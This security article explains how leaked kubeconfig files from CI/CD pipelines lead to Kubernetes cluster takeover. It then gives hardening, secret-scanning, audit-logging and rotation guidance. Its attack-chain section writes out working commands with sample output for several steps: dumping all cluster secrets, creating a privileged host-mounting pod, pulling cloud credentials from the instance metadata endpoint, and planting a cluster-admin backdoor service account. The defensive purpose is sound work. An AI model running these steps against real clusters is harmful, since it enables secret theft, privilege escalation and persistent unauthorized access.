From Leaked kubeconfig to Full Cluster Takeover: The CI/CD Attack Chain

The Problem

A kubeconfig file is the complete credential set for Kubernetes API access: it contains the cluster endpoint, the CA certificate that validates the server, and the authentication credential — either a static service account token, a client certificate, or an OIDC refresh token. Whoever holds the kubeconfig has exactly the same API access as the identity it authenticates. No additional knowledge required. No second factor. No IP allowlist in the default configuration. Point kubectl at the file and the cluster answers.

This would be less dangerous if CI/CD pipeline service accounts had minimal permissions. They rarely do. Deployment pipelines need to create deployments, update configmaps, and manage rollouts — permissions that are complex to enumerate and maintain. The operational shortcut is to grant cluster-admin or a namespace-scoped role broad enough that it never blocks a deployment. That shortcut converts a leaked kubeconfig into a full cluster credential.

Between 2023 and 2025, security researchers scanning public GitHub repositories with truffleHog and similar tools found hundreds of kubeconfig files committed to public repositories with cluster-admin service account tokens. The clusters were real, the tokens were valid, and the researchers were able to kubectl get secrets --all-namespaces and retrieve production database passwords, TLS private keys, and cloud provider API keys from clusters running live workloads. In documented cases, clusters had been fully accessible to anyone with a GitHub account for weeks or months before discovery.

The exposure surface is larger than accidental git commits. Kubeconfigs leak through at least five distinct paths in typical CI/CD setups, each with different discovery characteristics and remediation requirements.

Where Kubeconfigs Leak

CI artifact storage and job logs. When a pipeline step fails, engineers often add diagnostic commands to understand the failure. kubectl config view, cat ~/.kube/config, and env | grep KUBE are common debugging additions. GitHub Actions stores job logs as artifacts accessible to everyone with repository read access — for public repositories, that is every authenticated GitHub user. GitLab CI stores pipeline traces similarly. Jenkins builds logs that survive for configurable retention periods. A single debugging run: kubectl config view line in a workflow step exposes the kubeconfig in plaintext to every log viewer.

Environment variable printing. Kubeconfigs are frequently base64-encoded and stored as CI secrets (KUBECONFIG_B64, KUBE_CONFIG). A workflow step that fails and dumps its environment — a common pattern in shell scripts that use set -x for debugging — will print the base64-encoded kubeconfig to the log. Any step that calls printenv, env, or set exposes every environment variable. Even without deliberate printing, some test frameworks log environment state on assertion failures.

Git commits. Developers who copy a kubeconfig to their project directory for local testing and then run git add . without checking what they are staging commit the kubeconfig. GitHub’s push protection catches known high-entropy token patterns for major cloud providers. It does not have a generic kubeconfig detector by default. git-secrets and truffleHog catch kubeconfig patterns if configured, but both require intentional setup. The git history is permanent: even after a commit is removed from the branch history, the object remains in the repository and is accessible via the reflog and API for 90 days before garbage collection.

Container image layers. A Dockerfile that copies the host ~/.kube/config into an image — common when building tooling images that run kubectl internally — embeds the kubeconfig in a layer. Docker image layers are addressed by content hash. If the image is pushed to a public registry or a registry with broad access, every layer is independently pullable. An attacker who pulls docker pull and then runs docker save image:tag | tar -xf - | find . -name 'layer.tar' -exec tar -xf {} \; retrieves the kubeconfig from its embedded path.

Helm release artifacts. Some CI pipelines attach Helm chart values files or rendered manifests to release artifacts for auditability. If a values file was generated from a kubeconfig context (some tooling does this), or if a manifest accidentally includes a kubeconfig-sourced secret, the release artifact contains the credential. Release artifacts often have broader access than the source repository.

The Attack Chain

Assume an attacker has obtained a kubeconfig from a public GitHub repository’s Actions log. The attack proceeds through six stages. Each stage builds on the previous one; stopping any stage limits the blast radius.

Stage 1: Verify Access and Enumerate Permissions

export KUBECONFIG=/tmp/stolen.kubeconfig

# Verify the cluster is reachable and the token works
kubectl cluster-info
# Kubernetes control plane is running at https://api.example-cluster.us-east-1.eks.amazonaws.com

# Enumerate what the compromised identity can do
kubectl auth can-i --list
# Resources                                       Non-Resource URLs   Resource Names   Verbs
# *.*                                             []                  []               [* get list watch create update patch delete]
# The above output indicates cluster-admin: wildcard on all resources and verbs

# If not cluster-admin, enumerate more carefully
kubectl auth can-i create pods
kubectl auth can-i get secrets -n production
kubectl auth can-i create clusterrolebindings

kubectl auth can-i --list makes a single API call to the SelfSubjectRulesReview endpoint. It does not trigger most anomaly detection rules because it is a legitimate administrative command. An attacker learning they have cluster-admin at this step immediately knows the scope: every namespace, every resource, every verb.

Stage 2: Map the Cluster

# What namespaces exist?
kubectl get namespaces
# NAME              STATUS   AGE
# production        Active   847d
# staging           Active   847d
# ci                Active   400d
# monitoring        Active   847d
# default           Active   900d

# What nodes are available and what are their instance types?
kubectl get nodes -o wide
# (Node names, internal IPs, OS images, kernel versions, container runtimes)
# Node IPs are useful for later pivoting

# Survey all workloads
kubectl get all --all-namespaces
# (Full list of pods, deployments, services, jobs)

# What secrets are present?
kubectl get secrets --all-namespaces
# NAME                          NAMESPACE    TYPE                                DATA   AGE
# database-credentials          production   Opaque                              3      200d
# stripe-api-key                production   Opaque                              1      150d
# tls-cert                      production   kubernetes.io/tls                   2      300d
# github-token                  ci           Opaque                              1      400d

The secrets listing is the highest-value output at this stage. Secret names are often self-documenting. An attacker who sees database-credentials, stripe-api-key, and github-token in the listing knows exactly where to focus.

Stage 3: Extract Secrets

# Read a specific secret
kubectl get secret database-credentials -n production -o json
# {
#   "data": {
#     "host": "cHJvZC1kYi5leGFtcGxlLmNvbTo1NDMy",
#     "password": "c3VwZXJzZWNyZXRwYXNzd29yZA==",
#     "username": "cHJvZF9hcHA="
#   }
# }

# Decode in place
kubectl get secret database-credentials -n production \
  -o jsonpath='{.data.password}' | base64 -d
# supersecretpassword

# Bulk exfiltration: all secrets across all namespaces in one API call
kubectl get secrets --all-namespaces -o json > /tmp/all-secrets.json
# File contains: TLS private keys, database passwords, API keys,
# service account tokens, Docker registry credentials, OAuth client secrets

# Extract all values in one pass
kubectl get secrets --all-namespaces -o json | \
  jq -r '.items[] | .metadata.namespace + "/" + .metadata.name + ":\n" +
    (.data // {} | to_entries[] | "  " + .key + ": " + (.value | @base64d)) + "\n"'

The bulk exfiltration step is a single kubectl get call with output redirection. It runs in under two seconds on a cluster with hundreds of secrets. The resulting JSON file is complete: every secret, in every namespace, with all data values included. This is offline exfiltration — the attacker now has everything without needing sustained access.

Stage 4: Escalate to Persistent Infrastructure Access

If the service account can create pods, the attacker gains host-level access within minutes:

# Create a privileged pod that mounts the host filesystem
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: node-access
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: shell
    image: alpine:3.19
    command: ["sleep", "86400"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
  tolerations:
  - operator: Exists
EOF

# Execute into the pod — now on the node with host filesystem access
kubectl exec -it node-access -- sh
# Inside the pod:
chroot /host
# Now in the node's root filesystem
# Access: node's instance metadata, kubelet credentials, other pods' secrets via /proc
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS IMDS: get the node's IAM role credentials
# Lateral movement into the cloud account

The hostPID: true flag makes every process on the node visible inside the pod. The privileged: true security context removes Linux capability restrictions. Mounting / from the host gives read/write access to the node’s filesystem including /etc/kubernetes/pki, kubelet credentials, and the credentials of every other pod on the node via /proc/<pid>/environ.

Stage 5: Create Persistent Backdoor

The attacker’s current access depends on the stolen kubeconfig remaining valid. To survive rotation of the CI service account, they create a separate persistent access path:

# Create a new service account with cluster-admin
kubectl create serviceaccount attacker-sa -n default

kubectl create clusterrolebinding attacker-backdoor \
  --clusterrole=cluster-admin \
  --serviceaccount=default:attacker-sa

# For K8s < 1.24: manually create a long-lived token
kubectl apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: attacker-sa-token
  namespace: default
  annotations:
    kubernetes.io/service-account.name: attacker-sa
type: kubernetes.io/service-account-token
EOF

# Extract the new token
kubectl get secret attacker-sa-token -n default \
  -o jsonpath='{.data.token}' | base64 -d

# For K8s >= 1.24: create a time-unlimited bound token
kubectl create token attacker-sa --duration=8760h -n default
# Token valid for 365 days

The ClusterRoleBinding named attacker-backdoor is now the attacker’s persistence mechanism. Even after the original CI service account is deleted and its tokens are rotated, attacker-sa retains cluster-admin. Detection requires auditing ClusterRoleBinding creation events — something most teams do not have alerting for.

Stage 6: Confirm Blast Radius

# Check what cloud resources the cluster can reach
# (via service account annotations or node IAM roles)
kubectl get serviceaccounts -A -o json | \
  jq '.items[] | select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
    {namespace: .metadata.namespace, name: .metadata.name,
     role: .metadata.annotations["eks.amazonaws.com/role-arn"]}'
# Output: IAM roles attached to service accounts via IRSA
# Each role is a lateral movement path into the cloud account

# Extract all ConfigMaps — often contain application configuration with embedded credentials
kubectl get configmaps --all-namespaces -o json | \
  jq -r '.items[] | .metadata.namespace + "/" + .metadata.name'

# Look for secrets in environment variables of running pods
kubectl get pods -n production -o json | \
  jq -r '.items[].spec.containers[].env[]? | select(.value != null) |
    select(.name | test("PASSWORD|SECRET|KEY|TOKEN|CREDENTIAL"; "i")) |
    .name + ": " + .value'

Threat Model

Public repo CI log with kubeconfig. Any GitHub user — unauthenticated access is not possible, but the barrier is having a GitHub account, not repository access — can view Actions logs for public repositories. A single debugging step that prints the kubeconfig exposes it to the global internet. This is not a hypothetical risk; researchers have documented mass exposure events.

Leaked cluster-admin kubeconfig. Complete cluster compromise within the time window the token remains valid. Static service account tokens (the default before Kubernetes 1.24) do not expire. A leaked token from a commit two years ago may still authenticate if the service account was never deleted. The extraction of all cluster secrets is a single API call that completes in seconds. Creating a persistent backdoor takes under two minutes.

Leaked namespace-admin kubeconfig. Even without cluster-admin, namespace-level access is frequently sufficient to escalate. If the namespace has a service account with cluster-admin (common for operators and CI runners), creating a pod that uses that service account token pivots to cluster-admin. The serviceAccountName field in a pod spec is the escalation path.

Short-lived vs. long-lived tokens. OIDC-based kubeconfigs generated by aws eks update-kubeconfig contain tokens that expire in 15 minutes (AWS) or one hour (GKE). A stolen kubeconfig of this type becomes useless quickly. However, the kubeconfig file itself may contain a refresh token that allows the attacker to regenerate new access tokens — this depends on the OIDC provider configuration. Static service account tokens never expire unless the secret is deleted or the service account is removed.

Token bound to cluster, not to caller. Kubernetes API server does not validate the client’s source IP by default. A token valid from a CI runner in us-east-1 is equally valid from an attacker in any network. This is different from AWS IAM, where IP condition keys are available and commonly used.

Hardening Configuration

1. Use Short-Lived OIDC Tokens Instead of Static kubeconfigs

The most effective control: stolen credentials that expire in 15 minutes give an attacker a very narrow window.

# AWS EKS: aws eks update-kubeconfig generates kubeconfigs that use
# `aws eks get-token` as a credential exec plugin.
# The resulting token expires after 15 minutes.
aws eks update-kubeconfig --name my-cluster --region us-east-1 \
  --role-arn arn:aws:iam::123456789012:role/ci-deploy-role

# The generated kubeconfig uses an exec credential plugin:
# users:
# - name: arn:aws:eks:us-east-1:123456789012:cluster/my-cluster
#   user:
#     exec:
#       apiVersion: client.authentication.k8s.io/v1beta1
#       command: aws
#       args: [eks, get-token, --cluster-name, my-cluster]
# A stolen kubeconfig of this form requires valid AWS credentials to use.
# The attacker needs both the kubeconfig AND AWS access. Defense in depth.

# GKE: gcloud generates tokens valid for 1 hour
gcloud container clusters get-credentials my-cluster \
  --zone us-central1-a --project my-project

For self-hosted clusters, configure OIDC authentication against your identity provider:

# kube-apiserver flags (in cluster configuration or kubeadm config)
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
apiServer:
  extraArgs:
    oidc-issuer-url: "https://accounts.google.com"
    oidc-client-id: "kubernetes"
    oidc-username-claim: "email"
    oidc-groups-claim: "groups"
    # Map group membership to RBAC roles rather than individual user bindings

With OIDC, the kubeconfig contains an ID token (short-lived) and optionally a refresh token. Disable refresh token inclusion in kubeconfigs for CI use — CI should re-authenticate per job, not hold a persistent refresh token.

2. Least-Privilege RBAC for CI Service Accounts

The default operational shortcut — cluster-admin for the CI runner — converts any kubeconfig leak into total cluster compromise. Enumerate the exact API calls your deployment pipeline makes and write a Role that covers only those operations.

# Dedicated namespace for CI service accounts
apiVersion: v1
kind: Namespace
metadata:
  name: ci
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: deployer
  namespace: ci
---
# Role scoped to the production namespace only
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ci-deployer
  namespace: production
rules:
# Update existing deployments only — cannot create new workloads
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "update", "patch"]
# Read configmaps for rollout validation
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get", "list"]
# Read pods for rollout status monitoring
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]
# Cannot read or write secrets
# Cannot exec into pods
# Cannot create ClusterRoleBindings
# Cannot access other namespaces
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ci-deployer-binding
  namespace: production
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: ci-deployer
subjects:
- kind: ServiceAccount
  name: deployer
  namespace: ci

Verify what the service account can and cannot do before deploying:

kubectl auth can-i get secrets -n production \
  --as=system:serviceaccount:ci:deployer
# no

kubectl auth can-i create clusterrolebindings \
  --as=system:serviceaccount:ci:deployer
# no

kubectl auth can-i update deployments -n production \
  --as=system:serviceaccount:ci:deployer
# yes

With this Role, a stolen kubeconfig gives the attacker read access to pods and configmaps in the production namespace. No secret access. No pod creation for privilege escalation. No ClusterRoleBinding creation for backdoors. The blast radius is limited to deployment manipulation — still a problem, but a containable one.

3. Audit CI Pipelines for kubeconfig Exposure

Prevent future leaks by scanning all workflow files for patterns that expose kubeconfig data:

# Scan CI workflow files for dangerous patterns
grep -rn \
  'KUBECONFIG\|kube/config\|kubectl config view\|cat.*kubeconfig\|printenv\|env | grep' \
  .github/workflows/ .gitlab-ci.yml Jenkinsfile 2>/dev/null

# Scan git history for accidentally committed kubeconfig files
git log --all --full-history --oneline \
  -- "**/.kube/config" "**kubeconfig*" "**kube_config*"

# Scan current files and history for kubeconfig content patterns
# (high-entropy base64 combined with Kubernetes API server URLs)
trufflehog git file://. --only-verified

# Scan Docker images in your registry for embedded kubeconfigs
# (requires pulling the image — run in an isolated environment)
docker save myimage:latest | tar -xf - -C /tmp/img-extract/
find /tmp/img-extract/ -name 'layer.tar' | while read layer; do
  tar -tf "$layer" 2>/dev/null | grep -E '\.kube/config|kubeconfig'
done

For GitHub Actions specifically: treat any run: step that prints environment variables as a critical finding. The pattern run: env or run: printenv in any step that has KUBECONFIG set in the environment should fail CI review.

# DANGEROUS — exposes all secrets in environment on any failure
- name: Debug environment
  run: env  # Never do this in a pipeline with secrets

# DANGEROUS — exposes kubeconfig explicitly
- name: Debug kubeconfig
  run: cat $KUBECONFIG  # Never do this

# SAFE — explicit, limited scope debug info
- name: Check cluster connectivity
  run: kubectl cluster-info 2>&1 | grep -v 'token\|cert\|key'

4. Secret Scanning in CI

Scan every push and pull request for kubeconfig patterns before they reach the default branch:

name: Secret Scanning
on:
  push:
    branches: ["**"]
  pull_request:

permissions:
  contents: read

jobs:
  secret-scan:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
      with:
        fetch-depth: 0  # Full history for truffleHog diff scan

    - name: TruffleHog Scan
      uses: trufflesecurity/trufflehog@v3
      with:
        path: ./
        base: ${{ github.event.repository.default_branch }}
        head: HEAD
        extra_args: --only-verified

    - name: Gitleaks Scan
      uses: gitleaks/gitleaks-action@v2
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      # gitleaks has a built-in kubeconfig detector rule
      # config: .gitleaks.toml for custom patterns

Add a custom gitleaks rule for kubeconfig patterns not covered by the default ruleset:

# .gitleaks.toml
[[rules]]
id = "kubeconfig-static-token"
description = "Kubernetes service account token in kubeconfig"
regex = '''token:\s+[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+'''
tags = ["kubernetes", "kubeconfig", "credential"]

[[rules]]
id = "kubeconfig-client-cert"
description = "Kubernetes client certificate data in kubeconfig"
regex = '''client-certificate-data:\s+[A-Za-z0-9+/]{50,}={0,2}'''
tags = ["kubernetes", "kubeconfig", "credential"]

5. Detect kubeconfig Use from Unexpected Locations

Enable Kubernetes audit logging and alert on API calls from sources that are not your CI runner IP ranges:

# audit-policy.yaml — recommended minimum policy
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# Log secret access at the RequestResponse level (includes response body)
- level: RequestResponse
  resources:
  - group: ""
    resources: ["secrets"]
  verbs: ["get", "list", "watch"]

# Log ClusterRoleBinding creation (persistent backdoor creation)
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["clusterrolebindings", "rolebindings"]
  verbs: ["create", "update", "patch", "delete"]

# Log privileged pod creation
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods"]
  verbs: ["create"]

# Log SelfSubjectRulesReview calls (permission enumeration)
- level: Request
  resources:
  - group: "authorization.k8s.io"
    resources: ["selfsubjectrulesreviews"]

SIEM query to alert on CI service account use from outside CI runner IP ranges (Splunk syntax):

index=k8s_audit 
  user="system:serviceaccount:ci:*"
| eval in_ci_range=if(match(sourceIPs, "^10\.42\."), "yes", "no")
| where in_ci_range="no"
| stats count by user, verb, resource, sourceIPs, requestURI
| where count > 0

Alert conditions worth implementing separately:

• Any list or get on secrets by the CI service account outside business hours
• Any create on clusterrolebindings by any service account that is not a cluster operator
• Any pod creation with hostPID: true, hostNetwork: true, or privileged: true in the spec

6. Rotate Immediately on Discovery

If a kubeconfig is found exposed in a log, commit, or artifact:

# Step 1: Identify the service account the kubeconfig authenticates as
# (read the kubeconfig to find the user field)
kubectl config view --kubeconfig=/tmp/stolen.kubeconfig --minify

# Step 2: Immediately revoke access — for K8s 1.24+ (no automatic SA tokens)
# Delete and recreate the service account
kubectl delete serviceaccount deployer -n ci
kubectl create serviceaccount deployer -n ci
# All existing credentials authenticated as this SA are now invalid.
# K8s 1.24+ does not auto-create SA token secrets — nothing else to do.

# Step 3: For K8s < 1.24 (automatic long-lived SA token secrets)
# Find and delete all token secrets bound to the SA
kubectl get secrets -n ci \
  -o jsonpath='{range .items[?(@.type=="kubernetes.io/service-account-token")]}{.metadata.name}{"\n"}{end}' | \
  xargs -I{} kubectl delete secret {} -n ci

# Verify no remaining tokens
kubectl get secrets -n ci --field-selector type=kubernetes.io/service-account-token

# Step 4: Audit what the compromised identity accessed during the exposure window
# Query audit logs for the SA's activity
# (adjust based on your audit log destination — here using kubectl for a local cluster)
kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp | \
  grep "deployer" | tail -50

# Step 5: Scan for created backdoor resources
# Check for ClusterRoleBindings created after the exposure began
kubectl get clusterrolebindings \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.creationTimestamp}{"\n"}{end}' | \
  sort -k2 | tail -20

# Check for unexpected service accounts
kubectl get serviceaccounts --all-namespaces | grep -v "default\|kube-\|cert-\|coredns"

# Check for pods created with privileged configuration
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(
    .spec.hostPID == true or
    .spec.hostNetwork == true or
    (.spec.containers[].securityContext.privileged == true)
  ) | .metadata.namespace + "/" + .metadata.name'

# Step 6: Rotate all secrets that may have been read
# This is the expensive step. Any secret accessible to the compromised SA
# must be treated as compromised. Rotate database passwords, API keys,
# TLS certificates, and OAuth client secrets.

Expected Behaviour

After restricting the CI service account to a namespace-scoped Role with no secret access, an attacker using the stolen kubeconfig and attempting to enumerate secrets sees:

$ kubectl get secrets --all-namespaces
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:ci:deployer"
cannot list resource "secrets" in API group "" at the cluster scope

$ kubectl get secrets -n production
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:ci:deployer"
cannot list resource "secrets" in API group "" in the namespace "production"

After deploying short-lived OIDC tokens (EKS example), an attacker who obtains a kubeconfig and waits 15 minutes before using it sees:

$ kubectl cluster-info
error: You must be logged in to the server (the server has asked for the client to authenticate)
$ kubectl auth can-i --list
error: You must be logged in to the server (Unauthorized)

The token expired. The kubeconfig is useless without fresh AWS credentials to regenerate it.

After enabling audit logging and SIEM alerting, an attacker using a stolen kubeconfig from a residential IP address triggers an alert within the first API call. The audit log entry looks like:

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "RequestResponse",
  "user": {
    "username": "system:serviceaccount:ci:deployer",
    "groups": ["system:serviceaccounts", "system:authenticated"]
  },
  "sourceIPs": ["185.220.101.42"],
  "verb": "list",
  "objectRef": {
    "resource": "secrets",
    "namespace": "production"
  },
  "responseStatus": {"code": 200}
}

The source IP 185.220.101.42 is a Tor exit node, not in the CI runner range 10.42.0.0/16. The SIEM fires within seconds of log ingestion.

Trade-offs

Short-lived OIDC tokens. They require CI runners to re-authenticate per job rather than using a pre-configured kubeconfig. For EKS, this means the runner needs an IAM role assumption that succeeds before each job. This adds 2-5 seconds of latency per pipeline run. For self-hosted clusters with custom OIDC, the IdP must be available at job start time — an IdP outage blocks all CI. The security benefit is substantial: a stolen credential that expires in 15 minutes gives the attacker almost nothing.

Namespace-scoped least-privilege RBAC. Some deployment patterns — installing CRDs, creating namespaces, deploying cluster-level resources — require ClusterRole permissions. These cannot be reduced below the cluster scope. For pipelines that genuinely need cluster-level access, use a separate service account with the minimum cluster-level permissions and restrict it to the specific resources it manages. Document every ClusterRole granted to a CI service account as a security exception with justification.

Secret scanning. False positive rates on kubeconfig-like patterns can be high: base64-encoded strings that happen to contain Kubernetes API URL fragments will trigger some detectors. GitGuardian’s verified mode (which attempts to use discovered credentials to confirm they are valid) dramatically reduces false positives but requires a network call to the target cluster. TruffleHog’s --only-verified flag does the same. Be prepared for legitimate CI tooling configuration files that contain base64-encoded certificate data to trigger alerts — tune allowlists carefully.

Audit logging. Kubernetes audit logs at the RequestResponse level include response bodies. For secrets, this means the audit log itself contains the secret values that were accessed. Audit logs must be protected with the same care as the secrets they record. Use audit policies that log metadata for most resources but restrict to Request level (no response body) unless RequestResponse is explicitly needed for forensics.

Failure Modes

Using cluster-admin for CI service accounts because it is easier. This is the most common failure mode. The argument is that enumerating exact permissions takes time and breaks when the pipeline needs new API operations. The correct approach: run the pipeline with verbose logging that records the specific API calls made, use that to generate a precise Role, and review the Role annually as the pipeline evolves. The short-term engineering cost of least-privilege RBAC is always less than the incident response cost of a cluster compromise.

Not scanning git history. A kubeconfig committed and then deleted from a branch is still in the git object store. If the commit SHA is known (via the reflog, GitHub’s API, or a cached copy), it is still accessible. More importantly, static service account tokens do not expire — a token from a commit two years ago is valid today unless the service account was explicitly deleted. Scanning only the current HEAD misses the actual risk surface. Scan the full history.

Rotating only the current token but leaving old bound secrets (Kubernetes < 1.24). On clusters running Kubernetes < 1.24, service accounts automatically receive a long-lived token secret. If the cluster was upgraded from < 1.24 to >= 1.24, old auto-created token secrets from before the upgrade may still exist and may still be valid. Deleting and recreating the service account handles this. Simply deleting the kubeconfig file from git does not rotate anything.

Treating namespace isolation as a security boundary without verifying escalation paths. A service account restricted to the ci namespace that can create pods in that namespace can create a pod with serviceAccountName: cluster-admin-operator-sa if a cluster-admin service account exists in the ci namespace (common for operators). The escalation path exists at the namespace boundary. Audit every service account in namespaces accessible to the CI runner and verify none have cluster-level permissions the CI runner should not inherit.

No audit logging configured at all. The default Kubernetes installation does not have audit logging enabled. Without audit logs, an attacker who uses a stolen kubeconfig, enumerates permissions, reads all secrets, creates a ClusterRoleBinding backdoor, and exits leaves no record in the cluster. The first indication of compromise may be weeks later when the attacker uses the backdoor for a visible action. Audit logging at minimum metadata level for all resources, with RequestResponse for secrets and RBAC resources, is not optional for a production cluster.

Related Articles

• Ephemeral Cloud Credentials in CI/CD
• Secret Scanning in CI/CD
• OIDC Federation Hardening
• Argo CD Security Hardening
• CI/CD Secret Management